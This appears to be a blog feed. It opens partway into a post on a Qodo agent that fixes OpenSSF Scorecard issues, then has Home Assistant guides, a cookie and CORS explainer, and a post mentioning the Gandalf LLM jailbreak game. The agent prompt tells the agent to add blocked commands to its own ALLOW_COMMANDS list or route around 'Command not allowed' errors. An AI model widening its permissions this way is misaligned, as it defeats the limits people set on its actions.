            "command": "uvx",
            "args": [
              "mcp-shell-server"
            ],
            "env": {
              "ALLOW_COMMANDS": "scorecard,docker,env,ls,cat,pwd,rg,wc,touch,find,mkdir,rm,cp,mv,npm,npx,jest,mocha,ts-node,tsc,node,jq,echo,test,diff,sed,awk,git,cd,exit,yarn,grep,gh,base64,curl,python3,python,pip,pip3,which,whoami,id,uname,date,head,tail,sort,uniq,tr,cut,xargs"
            }
          },
          "fetch": {
            "command": "docker",
            "args": ["run", "-i", "--rm", "mcp/fetch"]
          },
          "github": {
            "command": "docker",
            "args": [
              "run",
              "-i",
              "--rm",
              "-e",
              "GITHUB_PERSONAL_ACCESS_TOKEN",
              "ghcr.io/github/github-mcp-server"
            ],
            "env": {
              "GITHUB_PERSONAL_ACCESS_TOKEN": "<YOR_TOKEN>"
            }
          }
      }
    
    instructions: |
      You are an expert product security engineer with a focus on improving the security posture of open source projects. Your task is to automatically address and fix issues raised by the OpenSSF Scorecard tool, which identifies security vulnerabilities and best practices in code repositories. You should analyze each issue, leverage tools at your disposal, determine the appropriate action, and execute it to enhance the security of the codebase.

      ## Process:

      1. **Your Tool Box**

         - You can find the GitHub Personal Access token in the environment variable GITHUB_AUTH_TOKEN
         - For all GitHub operations, prefer using the GitHub CLI (`gh`) commands over the GitHub MCP server when encountering API limitations
         - If GitHub MCP server operations fail, clone the repository locally using `git clone` and work with local files
         - To run the OpenSSF Scorecard tool, use: `scorecard --repo=<INSERT REPO>` (replace with the repository from the `repo` argument)
         - You can get information from URLs using the fetch tool
         - For base64 decoding, use: `echo "<base64_string>" | base64 -d` or Node.js: `node -e "console.log(Buffer.from('<base64>', 'base64').toString())"`
         - Always verify GitHub CLI authentication with `gh auth status` before attempting operations
         - Use `gh api` for direct GitHub API calls when the MCP server fails
         - Respect the command arguments: create_pr, enable_branch_protection, fix_vulnerabilities, base_branch, branch_name

      2. **Issue Analysis**
         - Run the OpenSSF Scorecard tool on the provided repository URL to identify issues
         - Parse the output to extract issues and their details
         - For each issue, gather all the information you can about it so that you can address it effectively
         - If you encounter "Command not allowed" errors, try alternative approaches:
           - Use GitHub CLI (`gh`) instead of direct API calls
           - Clone repository locally if remote operations fail
           - Use Node.js for data processing if shell utilities are restricted

      3. **Action Execution**

         For Each Issue:
         - Execute the most appropriate fix to address the issue
         - If GitHub MCP server operations fail, use this fallback strategy:
           1. Clone the repository locally: `git clone <repo_url>`
           2. Create a new branch: `git checkout -b <branch_name>` (use the branch_name argument)
           3. Make necessary changes to local files
           4. Commit changes: `git add . && git commit -m "security: fix OpenSSF Scorecard issues"`
           5. Push branch: `git push -u origin <branch_name>`
           6. Create PR (if create_pr=true): `gh pr create --title "security: fix OpenSSF Scorecard issues" --body "<description>"`
         - For branch protection (if enable_branch_protection=true), use: `gh api --method PUT repos/<owner>/<repo>/branches/<base_branch>/protection --field <settings>`
         - For vulnerability fixes (if fix_vulnerabilities=true), run: `npm audit fix` or equivalent for the package manager
         - Always clean up temporary files created during the process
         - Common security fixes to implement:
           - Add explicit permissions to all GitHub Actions workflows
           - Pin GitHub Actions to specific commit hashes
           - Add SAST scanning (CodeQL, Semgrep)
           - Add dependency review workflows
           - Enable Dependabot or similar automated dependency updates
         - In a separate and dedicated new Pull Request, add fuzzing workflows for appropriate projects and add an example fuzzy testing JavaScript file as most appropriate to the project, as part of the pull request changes suggested.

      4. **Error Handling**

         - If unable to address a fix for the issue, post an explanation of what you tried to do and why it was not possible
         - For complex issues beyond scope, suggest breaking into smaller tasks
         - Common error patterns and solutions:
           - "Command not allowed": Add the command to ALLOW_COMMANDS or use alternative approaches
           - "MCP error -32603": Switch to GitHub CLI or local repository operations
           - "Branch not protected": Use GitHub CLI to enable branch protection
           - Base64 decoding issues: Use Node.js or alternative decoding methods
         - Always attempt multiple approaches before declaring a task impossible
         - Document workarounds used for future reference

      ## Important Guidelines:
      - Always maintain code quality and follow existing patterns
      - If you are introducing a breaking change always provide clear notes about it
      - Keep comments professional and helpful
      - Respect repository contribution guidelines if present
      - Never close the issue yourself
      - When working with GitHub Actions, always pin actions to specific commit hashes for security
      - Add explicit permissions to all workflow files to follow principle of least privilege
      - Test fixes locally when possible before pushing changes
      - Clean up any temporary files created during the process
      - Verify improvements by running OpenSSF Scorecard again after implementing fixes

      ## Output:

      After handling all the issues, provide a summary of all actions detected by OpenSSF Scorecard and all the actions you've taken to address them, and the results.
      
      Include in your summary:
      - Initial OpenSSF Scorecard score
      - Final OpenSSF Scorecard score (run the tool again after fixes)
      - List of issues addressed with specific actions taken
      - Any issues that could not be resolved and why
      - Links to created pull requests (if any)
      - Recommendations for ongoing security maintenance

First off, we version the agent.
The commands section defines a command name openssf-scorecard-fixer which is what we invoke with the qodo CLI and all of its arguments that we can pass to it.
The available_tools section lists the tools that the agent can use, including the ability to run shell commands and interact with GitHub and of course the scorecard command which is the main tool we want to use.
The mcpServers section defines the MCP Servers that are available to the agent and have been declared in the available_tools section.
The instructions section is where we define the agent’s behavior, what it should do, how it should handle issues, and so on. This is where we tell the agent to run the OpenSSF Scorecard tool, analyze the issues, and then fix them automatically.

Note, I did need to tweak the agent instructions a bit to avoid putting work into criteria that the scorecard tool doesn’t support very well, like fuzzing for JavaScript projects is incredibly limited and even if added to the project it isn’t detected very well.

Now we can run the agentic workflow and let it do its magic.

Running the Agentic workflow

Of course, replace the GITHUB_AUTH_TOKEN with your own GitHub Personal Access Token (PAT) and the repo argument with the full URL of the GitHub repository you want to analyze and fix issues for, and then spin up the agentic workflow by running the following command:

GITHUB_AUTH_TOKEN=1234 qodo openssf-scorecard-fixer --set repo="https://github.com/lirantal/hello-world-js"

Results be like:

Most of the issues can be fixed by the agent and others are just sometimes not fit. For example, maybe there’s no actual release process in place and it doesn’t make sense because this isn’t a project that delivers assets.

Scorecard Fixer agent results

Ok, so how well did the agent do to fix all the security issues reported by the OpenSSF Scorecard? Let’s compare the results of the first run.

As you remember, the scorecard command reported a score of 2.6 out of 10 across 18 issues. Partial summary notes from the qodo command output:

Perfect! I have successfully implemented comprehensive security improvements for the hello-world-js repository. Here's a complete summary of all actions taken:

## OpenSSF Scorecard Security Improvements Summary

### Initial Assessment
- **Initial Score**: 2.6/10
- **Current Score**: 2.9/10 (limited by token permissions for some checks)
- **Expected Final Score**: 8+/10 (after PR merges and workflow execution)

As you can see, the current score is 2.9 out of 10 which is just a slight improvement but most of the work that the agent did to configure DevSecOps pipelines for security hardening is staged in a pull request that still needs to be merged, hence there’s an expected final score as well.

Here are the pull requests that the agent opened to fix the security issues, I’m going to merge them and we’ll see the changes right after:

But even before merging the pull requests, look at how detailed the agent was in its summary of actions taken as part of the changes introduced to files in this pull request:

You can browse to the pull request in my test repository here to see the full details of the changes made by the agent: security: implement OpenSSF Scorecard security improvements #1.

Oh wait, it looks like I can’t even merge the pull request. Why? because the Qodo agent configured the repository to prevent merging pull requests without reviews, which is a good security hardening practice. This is already taking effect and preventing me or anyone else (like a rogue contributor or malicious actor who took over someone’s account) from merging the pull request without a review:

The Qodo agent also configured branch protection rules to prevent force-pushing to the main branch, which is another good security hardening practice:

The full summary of actions taken by the agent is as follows:

### Security Issues Identified and Addressed

#### ✅ **SAST (Static Application Security Testing)** - 0/10 → Expected 8+/10
**Actions Taken:**
- Added **CodeQL workflow** with pinned actions (commit hash: 692973e3d937129bcbf40652eb9f2f61becf3332)
- Added **Semgrep workflow** for additional SAST coverage
- Configured **explicit permissions** following principle of least privilege
- Set up **scheduled scanning** (weekly) and **PR-triggered scans**

#### ✅ **Security Policy** - 0/10 → Expected 10/10
**Actions Taken:**
- Created comprehensive **SECURITY.md** file with:
  - Vulnerability reporting guidelines
  - Response timeline commitments
  - Supported versions matrix
  - Private disclosure process
  - Security best practices

#### ✅ **Dependency Update Tool** - 0/10 → Expected 10/10
**Actions Taken:**
- Configured **Dependabot** for automated dependency updates
- Set up **weekly update schedule** for npm and GitHub Actions
- Added **dependency review workflow** for PR security checks
- Configured **reviewers and assignees** for dependency PRs

#### ✅ **Branch Protection** - 0/10 → Expected 10/10
**Actions Taken:**
- **Enabled branch protection** on main branch with:
  - Required pull request reviews (1 approver)
  - Dismiss stale reviews when new commits are pushed
  - Enforce admin compliance
  - Prevent force pushes and deletions
  - Strict status checks

#### ✅ **Fuzzing** - 0/10 → Expected 8+/10
**Actions Taken:**
- Created **comprehensive fuzzing workflow** with:
  - Scheduled weekly fuzzing runs
  - PR-triggered fuzzing tests
  - Timeout protection (5 minutes)
  - Artifact collection for analysis
- Implemented **extensive fuzzing test suite** covering:
  - String input validation (injection, buffer overflow)
  - Numeric input testing (overflow, division by zero)
  - Object input testing (prototype pollution, JSON safety)
  - Array input testing (memory exhaustion, boundary checks)

#### ✅ **Token Permissions** - N/A → Expected 10/10
**Actions Taken:**
- Added **explicit permissions** to all GitHub Actions workflows
- Implemented **principle of least privilege**
- Specified minimal required permissions for each job

#### ✅ **Pinned Dependencies** - N/A → Expected 10/10
**Actions Taken:**
- **Pinned all GitHub Actions** to specific commit hashes instead of tags
- Enhanced security by preventing supply chain attacks
- Used latest stable versions with security patches

### Package Security Enhancements

#### ✅ **Package.json Security**
**Actions Taken:**
- Added **security audit scripts**: `npm run security:audit`, `npm run security:audit:fix`
- Added **fuzzing scripts**: `npm run fuzz:test`, `npm run fuzz:install`
- Created **package-lock.json** for dependency integrity
- Ran **npm audit** - no vulnerabilities found

As I also requested it to report on the changes it made to the repository and other actions it took, it also provided a summary of those:

### Pull Requests Created

#### 🔗 **Main Security Improvements PR**
- **URL**: https://github.com/lirantal/hello-world-js/pull/1
- **Title**: "security: implement OpenSSF Scorecard security improvements"
- **Includes**: CodeQL, Semgrep, Dependabot, Security Policy, Package Security

#### 🔗 **Fuzzing Implementation PR**
- **URL**: https://github.com/lirantal/hello-world-js/pull/2
- **Title**: "security: add comprehensive fuzzing implementation"
- **Includes**: Fuzzing workflow, comprehensive test suite, documentation

### Files Created/Modified

#### New Security Files:
- `.github/workflows/codeql.yml` - CodeQL SAST scanning
- `.github/workflows/dependency-review.yml` - Dependency security checks
- `.github/workflows/semgrep.yml` - Semgrep SAST scanning
- `.github/workflows/fuzzing.yml` - Comprehensive fuzzing tests
- `.github/dependabot.yml` - Automated dependency updates
- `SECURITY.md` - Security policy and vulnerability reporting
- `fuzz/hello-world-fuzz.js` - Comprehensive fuzzing test implementation
- `fuzz/README.md` - Fuzzing documentation and usage guide
- `package-lock.json` - Dependency integrity

#### Modified Files:
- `package.json` - Added security and fuzzing scripts

### Security Best Practices Implemented

1. **Pinned Dependencies**: All GitHub Actions pinned to commit hashes
2. **Explicit Permissions**: Minimal permissions for all workflows
3. **Automated Security**: Continuous security scanning and dependency updates
4. **Comprehensive Testing**: Multiple SAST tools and fuzzing coverage
5. **Documentation**: Clear security policies and procedures
6. **Branch Protection**: Enforced code review and protection rules

Splendid agent work!

Now, I did have to disable branch protection rules entirely to allow myself to merge the pull request that the agent created and the dependabot PRs so that they would take effect but this was a test repository that started from scratch with just a sample Express JavaScript application to show the difference between going from bare-bones default repository setup to a fully security-hardened repository with DevSecOps pipelines in place.

Let’s now run the OpenSSF Scorecard again after merging the pull requests from the agent and see how well it did:

$ scorecard --repo="https://github.com/lirantal/hello-world-js" --show-details

Starting [License]
Starting [Security-Policy]
Starting [Binary-Artifacts]
Starting [Maintained]
Starting [Code-Review]
Starting [Dependency-Update-Tool]
Starting [Fuzzing]
Starting [SAST]
Starting [Packaging]
Starting [Contributors]
Starting [Branch-Protection]
Starting [Token-Permissions]
Starting [Pinned-Dependencies]
Starting [CII-Best-Practices]
Starting [CI-Tests]
Starting [Dangerous-Workflow]
Starting [Vulnerabilities]
Starting [Signed-Releases]
Finished [CI-Tests]
Finished [Dangerous-Workflow]
Finished [Vulnerabilities]
Finished [Signed-Releases]
Finished [License]
Finished [Security-Policy]
Finished [Binary-Artifacts]
Finished [Maintained]
Finished [Code-Review]
Finished [Dependency-Update-Tool]
Finished [Fuzzing]
Finished [SAST]
Finished [Packaging]
Finished [Contributors]
Finished [Branch-Protection]
Finished [Token-Permissions]
Finished [Pinned-Dependencies]
Finished [CII-Best-Practices]

RESULTS
-------
Aggregate score: 7.4 / 10

Hah! we scored 7.4 out of 10 with zero effort!

Even the criteria missed here that answers the 2.6 points gap isn’t a big deal. Here’s why and where the points are missing:

| 8 / 10  | Branch-Protection      | branch protection is not       | Warn: codeowners review is not required. Warn: required approving review count is 1 on

Well I’m just one maintainer on this new repo so approval count of 1 is it. I indeed have no CODEOWNERS file, perhaps that is something that OpenSSF Scorecard should consider as a recommendation before it judges on it (it doesn’t).

Also these points we didn’t earn:

| 0 / 10  | CII-Best-Practices     | no effort to earn an OpenSSF best practices badge detected | https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices

Well you have to sign-up manually for that, so understandable.

| 0 / 10  | Code-Review            | Found 0/3 approved changesets

Makes sense too, this is just a new repository with literally a handful of commits just so scaffold it and whatever the agent created as pull requests. All of these I had to skip approval for the sake of this demo and just merge them to show you the status. In reality, you’d be working with contributors or a team of developers and you’d be reviewing each other’s work.

Fuzzing we skipped so 0 out of 10 points there too:

| 0 / 10  | Fuzzing                | project is not fuzzed

And this is a new project so obviously we’re not going to score any “high maintenance” points for it either:

| 0 / 10  | Maintained             | project was created within the last 90 days. Please review

Summary

All in all, the Qodo Command agentic workflow proved to be a splendid work of art to create real, tangible value of 10x productivity for developers and security teams, and even for solo maintainers themselves.

It was able to run the OpenSSF Scorecard, analyze the issues, and then fix them automatically through an agentic workflow. By having access to the GitHub repository via tools and CLI that we made available to it, the agent was able to create pull requests with the fixes it found and implemented, and then also configure the repository with security hardening practices that are now in place and will continue to be enforced going forward.

How to setup TV Sleep Timer with Home Assistant Automation

Sat, 05 Jul 2025 00:00:00 GMT

TV sleep timers are useful but even with smart TVs they are not as easily managable as you’d expect them to be. So, I wanted to set up a TV sleep timer using Home Assistant automation to turn off the TV after a certain period of time. Using Helpers and Automations as building blocks, I was able to achieve this. Here’s how I did it.

First off, what’s the problem with built-in TV sleep timers?

The UX is terrible: often it is just burried under sub menus of sub menus, and you have to navigate through the TV’s remote control to find it. Not all remote controls or streamers have a dedicated sleep timer button.
You might want to set a TV sleep timer for a different room, for examples, the kid’s room or the living room TV, while you are actually sleeping in your own bedroom.

So, here’s where Home Assistant comes in handy.

Here is how the end results look like once you’ve set it up and added the cards to your Home Assistant dashboard:

Step 1: Create a number helper for the sleep timer

In this first step, we create a number Helper in Home Assistant that will allow us to set the sleep timer duration in minutes. This is done through the Home Assistant UI and the Helper configuration.

Here is the full setup:

Step 2: Create a timer helper to track the state of the sleep timer

The number helper from the previous step is simply for setting the duration of the sleep timer. It exposes a nice slider where we can choose the number of minutes we want the TV to stay on before it turns off. However, we need a way to actually track the state of the sleep timer, such as when it starts, stops, or finishes. For this purpose, we will create a timer Helper in Home Assistant. In essence, the timer helper is like a program’s counter variable that counts down from a specified duration to zero and the number is the total celling time in minutes that we want to set for the sleep timer.

Here is how you create the timer Helper in Home Assistant:

Settings → Devices & Services → Helpers
- Create Helper → Timer
Name: Living Room TV Sleep Timer
Entity ID: timer.living_room_tv_sleep_timer
Duration: 01:00:00 (default, doesn’t matter as we’ll set it dynamically)
Click Create

Once you set the timer Helper, it looks like this in the Home Assistant UI:

Step 3: Create the Home Assistant automation

Now, for the actual automation that will handle the sleep timer functionality. This automation will start the timer when it is enabled, update the timer when the number helper changes, and turn off the TV when the timer finishes.

You’ll want to go into Home Assistant Settings -> Automations & Scenes > Automations and create a new automation. You can use the following YAML configuration to set up the automation that will handle the sleep timer functionality. In the new Blank Automation screen, change to YAML mode by clicking the 3 dots in the top right corner of the screen, then select Edit in YAML. Once you are in YAML mode, you can copy and paste the following code:

alias: Living Room TV Sleep Timer
description: Sleep timer for Living Room TV
trigger:
  # Trigger when automation is turned on
  - platform: homeassistant
    event: start
    id: "ha_start"
  - platform: event
    event_type: automation_reloaded
    id: "reload"
  - platform: state
    entity_id: automation.living_room_tv_sleep_timer
    from: "off"
    to: "on"
    id: "automation_enabled"
  # Trigger when timer finishes
  - platform: event
    event_type: timer.finished
    event_data:
      entity_id: timer.living_room_tv_sleep_timer
    id: "timer_finished"
  # Trigger when input number changes while timer is running
  - platform: state
    entity_id: input_number.living_room_tv_timer
    id: "timer_changed"
condition: []
action:
  - choose:
      # When automation is enabled, start the timer
      - conditions:
          - condition: trigger
            id: 
              - "automation_enabled"
              - "ha_start"
              - "reload"
        sequence:
          - service: timer.start
            target:
              entity_id: timer.living_room_tv_sleep_timer
            data:
              duration: >
                {{ (states('input_number.living_room_tv_timer') | int * 60) }}
          - service: notify.persistent_notification
            data:
              title: "TV Sleep Timer"
              message: "Sleep timer started for {{ states('input_number.living_room_tv_timer') | int }} minutes"
      
      # When timer is changed while running, restart with new duration
      - conditions:
          - condition: trigger
            id: "timer_changed"
          - condition: state
            entity_id: timer.living_room_tv_sleep_timer
            state: "active"
        sequence:
          - service: timer.start
            target:
              entity_id: timer.living_room_tv_sleep_timer
            data:
              duration: >
                {{ (states('input_number.living_room_tv_timer') | int * 60) }}
          - service: notify.persistent_notification
            data:
              title: "TV Sleep Timer"
              message: "Sleep timer updated to {{ states('input_number.living_room_tv_timer') | int }} minutes"
      
      # When timer finishes, turn off TV
      - conditions:
          - condition: trigger
            id: "timer_finished"
        sequence:
          - service: media_player.turn_off
            target:
              entity_id: media_player.living_room_tv  # Replace with your actual TV entity
          - service: notify.persistent_notification
            data:
              title: "TV Sleep Timer"
              message: "Sleep timer finished - TV turned off"
          - service: automation.turn_off
            target:
              entity_id: automation.living_room_tv_sleep_timer
mode: single

You’ll notice that this has a bunch of triggers and actions in place. The reason for it is that this is handling multiple button interaction scenarios where you maybe start the timer but then change your mind and want to change prolong the timer duration so you move the slider to the right a bit, which will trigger the automation to restart the timer with the new duration. It also handles the case where you want to turn off the TV after the timer has finished, or if you want to turn off the automation itself.

You’ll probably want to update the above to fit your own TV entity ID. In the example above, I used media_player.living_room_tv as the entity ID for the TV. You can find your TV’s entity ID in Home Assistant by going to Settings → Devices & Services → Entities. You can also trigger other devices for turn_off action, such as a smart plug or the Android TV Remote integration if you are using that. (I specified both of these devices: the TV Cast and the Android TV remote)

Step 4: Create the Home Assistant dashboard cards

type: vertical-stack
cards:
  - type: entities
    title: "Living Room TV Sleep Timer"
    entities:
      - entity: input_number.living_room_tv_timer
        name: "Timer Duration (minutes)"
      - entity: timer.living_room_tv_sleep_timer
        name: "Sleep Timer"
      - entity: automation.living_room_tv_sleep_timer
        name: "Timer Control"
    show_header_toggle: false

More Home Assistant

You might find these other Home Assistant related articles useful too:

How to setup Shabbat candle time announcement with Home Assistant Automation

Sat, 05 Jul 2025 00:00:00 GMT

For Shabbat observant families, the time for lighting the candles is an important ritual. It should be done very close in time to when Shabbat enters. I already have a Home Assistant integration that shows up Shabbat times so it can help automate this process, ensuring that an announcement is made at the right time every week. Here’s how to set it up.

To build this integration I relied on the following helpful resources:

Blog post on Setting up Shabbat Automation
Shabbos mode discussion on Home Assistant Community
Various automation examples from this blog post on Yom Tov and Shabbos Automation

Pre-requisites:

You have Home Assistant installed and running.
You have the Jewish Sabbaths Holidays integration installed and configured in Home Assistant: https://github.com/rt400/Jewish-Sabbaths-Holidays

The Shabbat Candle Time Announcement Home Assistant Automation

Here’s the full automation setup in Home Assistant:

The code involved is the following. First, we setup the trigger:

{{ (as_timestamp(strptime(states('sensor.hebcal_shabbat_entry'), '%H:%M')) - as_timestamp(now()) | int) <= 300 and (as_timestamp(strptime(states('sensor.hebcal_shabbat_entry'), '%H:%M')) - as_timestamp(now()) | int) > 0 }}

Notice that it requires you actually have setup and integrated the Jewish Sabbaths Holidays integration which provides the sensor.hebcal_shabbat_entry sensor (you need to define it in your configuration.yaml file). If it’s called something else or you defined it somehow different, adjust the above YAMl template for the trigger accordingly.

Next, the condition:

{{ now().weekday() == 4 }}

This condition checks that today is Friday, which is when Shabbat starts.

Finally, the action to announce the candle lighting time. Here is the YAML version of the action that you see in the screenshot above:

action: tts.speak
data:
  cache: true
  message: >-
    Dear residents of the Tal family. Shabbat about to start. Shabbat about to
    start. Shabbat about to start. Shabbat Shalom Lekuuulam.
  media_player_entity_id: media_player.living_room_tv
target:
  entity_id: tts.google_translate_en_com

More Home Assistant

You might find these other Home Assistant related articles useful too:

CORS, SameSite and CSRF: The 3 Dimensions of Cookie based Authentication

Sun, 08 Jun 2025 00:00:00 GMT

Web developers are frustrated on a regular basis by the complexity of cookie-based authentication, specifically when it comes to Cross-Origin Resource Sharing (CORS). How CORS relate to SameSite, and Cross-Site Request Forgery (CSRF) can even further introduce complexity to the mix but in this article we’ll flesh out the 3 dimensions of cookie-based authentication and how they relate to CORS, SameSite, and CSRF.

The complexity arises from the fact that c$$

$$ookies are used for multiple purposes, including authentication, session management, and tracking. This complexity is further compounded by the fact that cookies are subject to a variety of security vulnerabilities, such as Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS), which developers must be aware of when building cookie-based authentication systems and do want to take mitigation measures to prevent these vulnerabilities.

CORS, SameSite and CSRF are 3 dimensions of cookie-based authentication are crucial to understand when you are building cookie-based authentication systems.

What is CORS ?

CORS: Cross-Origin Resource Sharing (CORS) is a security feature that restricts how resources on a web page can be requested from another domain. This is important because it prevents malicious websites from making requests to your website and stealing sensitive information. CORS is enforced by the browser, but the server plays an active role and it is important to configure your server correctly to allow or deny requests sent by browsers from other domains.

CORS is directly related to the concept of an Origin and the Same-Origin Policy (SOP). While sometimes confused with Cookies and their domain attributes, CORS and its Origin definition is a separate concept that is used to determine if a request is allowed to be made from one domain to another.

What is SameSite ?

SameSite: The SameSite attribute of a cookie is used to prevent the browser from sending the cookie along with cross-site requests. This helps to mitigate Cross-Site Request Forgery (CSRF) attacks, where an attacker tricks a user into making a request to a website that the user is already authenticated with. By setting the SameSite attribute to Strict, the cookie will only be sent in what’s called a first-party context.

A Lax value for the SameSite attribute allows the cookie to be sent with cross-site requests that are top-level navigations initiated by the user, such as clicking on a link. This is the default value for cookies that don’t have the SameSite attribute set. Is the Lax value helpful in mitigating CSRF attacks? Yes, to an extent, but it’s not as strong as the Strict value.

Knowing when to set a cookie’s SameSite attribute to Strict or Lax is important for preventing CSRF attacks, but it’s also important with regards to how applications are built and how they interact with each other. A good example is an oAuth flow that is based on an authorization code. In such oAuth flows, if you set the SameSite attribute to Strict and use the oAuth’s state parameter to maintain state between the authorization request and the authorization response, then upon redirection from the authorization server back to your application, the state parameter will be lost because the cookie will not be sent with the request. This is because the request is considered a cross-site request. The result of this is that the authorization flow will fail. In such cases, you would set the SameSite attribute to Lax to allow the cookie to be sent with the request.

What is the Cookie’s Domain Attribute ?

Domain: The domain attribute of a cookie is used to specify the domain that the cookie is associated with. This is important because it determines which requests outgoing from the browser the cookie will be sent with. If the domain attribute is not set, the cookie will only be sent with requests to the domain that initially set the cookie. If the domain attribute is set, the cookie will be sent with requests to the domain that set the cookie and all subdomains of that domain.

Only the domain that set the cookie can read the cookie. This is important for security reasons, as it prevents malicious websites from reading cookies set by other websites. However, it also means that if you want to share cookies across subdomains, you need to set the domain attribute of the cookie to the root domain.

While setting the domain attribute for cookies can be beneficial, there are a few things to keep in mind:

Subdomain Sharing: A cookie set with a domain like .example.com will be accessible across all subdomains. This can be useful for keeping user logged in across different parts of your website, but be aware that it also means any subdomain can potentially access that cookie data.
Security Concerns with Top-Level Domains: For security reasons, browsers often restrict setting cookies with a domain attribute that includes a top-level domain (TLD) like .com or .org. This is to prevent malicious scripts on one website from accessing cookies set by completely different domains. For example, an app hosted on myapp.herokuapp.com cannot set a cookie with domain set to *.herokuapp.com because it would be accessible by any website on the .herokuapp.com domain. See Heroku’s write-up on Cookies and the Public Suffix List.

This can be a challenge for developers deploying to platforms like Heroku or GitHub Pages that assign subdomains to their hosted apps. If you need cookie sharing across multiple Heroku apps, you’ll need to explore alternative solutions like.

The notion of ‘Domain’ and how it relates to CORS, SameSite and CSRF

Key foundational elements:

Cookie’s domain attribute
Cookie’s SameSite attribute
CORS server configuration

SameSite cookie attribute set to strict will only be sent in a first-party context, which means that the cookie will only be sent if the request is coming from the same domain that set the cookie, or the request is being made from a subdomain of the domain that set the cookie. For the purpose of SameSite cookie configuration, the domain is the root domain of the website, and all subdomains are considered to be part of the same domain. Yes, even for strict SameSite value.
For CORS, the notion of domain doesn’t exist in the same way as it does for cookies and SameSite. Instead, we need to think in terms of the definition of an Origin which is a combination of the protocol, domain, and port of a URL. For example, the Origin of https://example.com:443 is https://example.com. The Origin of http://example.com:80 is http://example.com. The Origin of https://sub.example.com:443 is https://sub.example.com. The Origin of http://sub.example.com:80 is http://sub.example.com.
Lastly, a Cookie’s domain attribute is used to specify the domain that the cookie is associated with. This is important because it determines which requests outgoing from the browser the cookie will be sent with. If the domain attribute is not set, the cookie will only be sent with requests to the domain that initially set the cookie. If the domain attribute is set, the cookie will be sent with requests to the domain that set the cookie and all subdomains of that domain.

Following on the above, SameSite applies to a domain as a whole and has nothing specifically to do with a CORS Origin definition. Moreover, the SameSite definition has one more aspect: it treats subdomains of the effective Top-Level Domain (eTLD) as the same site. This directly relates to the domain attribute of a cookie and the above ‘gotcha’ of deploying on platforms like Heroku or GitHub Pages which are part of a Public Suffix List.

Gamifying the Future of Skill Development: From Open-Source Security to LLM Prompt Injection

Thu, 15 May 2025 00:00:00 GMT

Reading an article, following API documentation or watching a video tutorial are all great ways to learn new skills but a truly memorable experience? learn through experience, lasting impressions of gamified learning.

So what if you could learn by playing a game? That’s the idea behind gamified learning. I want to share with you how I got started with building my own game to engage developers about open-source security and watching another company launch a game to teach developers about prompt injection in LLMs.

DependencyFrost - Open-Source Security Game

At Snyk, I often engage with developers about open-source security and specifically the importance of security vulnerabilities, secure code and overall supply chain security in the JavaScript ecosystem. Between studying packages in the npm registry, maintainers seeking help to triage vulnerability reports, or just general security research, the day to day work is very technical and immersive.

Similarly, I recognize that developers are busy at work. They often are too worried about shipping features on time. Tests? Security? who has time for that. I get it. Still, there has to be a more fun way of engaging with developers and at least getting them to think about security.

Watching Ania Kubow build a games in JavaScript, I was inspired to build my own game. She’s an incredibly good instructor and I highly recommend her content and her YouTube channel.

One of Ania’s game development streams featured a JavaScript gaming library called Kaboom.js. Kaboom.js is a JavaScript library that makes it easy to build games. It’s a fun framework that abstracts away the tricky parts like rendering, game physics, the game loop, and more and keep you focused on the actual story, game mechanics, scenes and game play.

I wanted to create a fun and interactive way to teach developers about the importance of open-source security. I decided to build a game called DependencyFrost. The game is a simple platformer where you play as a dog who runs on a frozen lake (Snyk’s mascot is a dog). The goal is to avoid packages through-out the level because they are vulnerable.

Here’s a quick demo of the game:

I found out that the game is a great way to break the ice with developers and I’ve used it once in an Open Source Summit event to welcome developers to the stage to play the game in those first few minutes before the hall gets packed and everyone enters. It was a hit!

Even more so, we used it at Snyk in our booth at a conference and developers loved visiting us and trying their best to beat the high score and make it to the leader board. It was a great way to engage with developers and talk about security. Here’s a photo from NodeConf EU 2022:

The game is open-source and you can find the code on GitHub in the lirantal/dependencyfrost repository.

Lakera’s Gandalf, an LLM Prompt Injection Game

Lakera, a cybersecurity software company in the domain of LLMs (Large Language Models) and AI, launched a web-based game called Gandalf. The purpose of the game is to introduce developers to concepts such as social engineering (which they may not actually be aware that this is what they’re doing) and prompt injection in LLMs.

SPOILER ALERT: If you haven’t played the game yet, you may want to zoom past this next section that shows a sneak peek of the game with screenshots on prompts in various levels.

Gandalf is a game character that holds a secret. The secret password. Gandalf has received strict orders to not reveal the password to anyone. The player’s goal is to get Gandalf to reveal the password by asking the right questions. Gandalf is essentially an LLM model that received specific prompt instructions and the game play surrounds the player’s ability to ask the right questions to get Gandalf to reveal the password. This is a sort of soft landing introduction to jail-breaking LLMs.

So how does it look like?

The game is made up of 7 levels, and a bonus 8th level. Each level is a different scenario, with increasing difficulty and security guardrails to prevent the player from getting the password.

Gamifying the Future of Skill Development

My experience with building DependencyFrost and watching Lakera launch Gandalf has been a great learning experience and one that further solidifies my belief in the power of gamified learning. In the same space of technical training and the future of skill development, the Israeli startup Wilco also recognizes the importance of turning learning into a game. They’ve built a platform that helps developers learn new skills through gamified learning. Check it out.

Especially if you’re in the space of developer relations, developer advocacy, or just generally interested in teaching developers new skills, I highly recommend considering gamified learning as a way to engage with developers and make learning fun and memorable.

Game over.

DevRel Failures? Maybe Your Marketing and Product Strategies Are Outdated

Thu, 01 May 2025 00:00:00 GMT

Developer Relations (DevRel) is often in the intersection of marketing, product and engineering. Undoubtedly, DevRel has been facing a turmoil of changes, layoffs and strategic shifts within startup and companies but maybe it is your product and marketing strategies that are actually outdated and causing customer churn, and overall frustration?

The following are some of my impressions and thoughts from working with founders, devtool companies and startups in the technology space around AI, software engineering, and application security domain.

The old days

In the “old days”, which in this fast-pacing environment of technology startups is basically 4 years ago, we used to follow very concrete playbooks for everything across DevRel, Marketing and Product.

Some examples of these playbooks include:

Scheduled launch events for product announcements
The product team filters and caters through a customer-base to hunt for leads for user interviews
Throwing marketing money at a non-viable product doesn’t work and doesn’t scale
Product managers are stuck in slides, planning and roadmaps instead of direct user engagement and showcasing

1. Product launch event? sigh you’re already too late

If you’re scheduling launch events for 2 months from now or longer, I’m sorry to tell you but that boat has sailed.

Why are you holding back on your ability to innovate and execute at a fast pace?

You’ve built something out? a prototype, an early access version, a closed beta? It’s ready to launch. Spread the news. Put it on social, get an announcement article published on the blog. Don’t keep this waiting on the launch pad for 2 months.

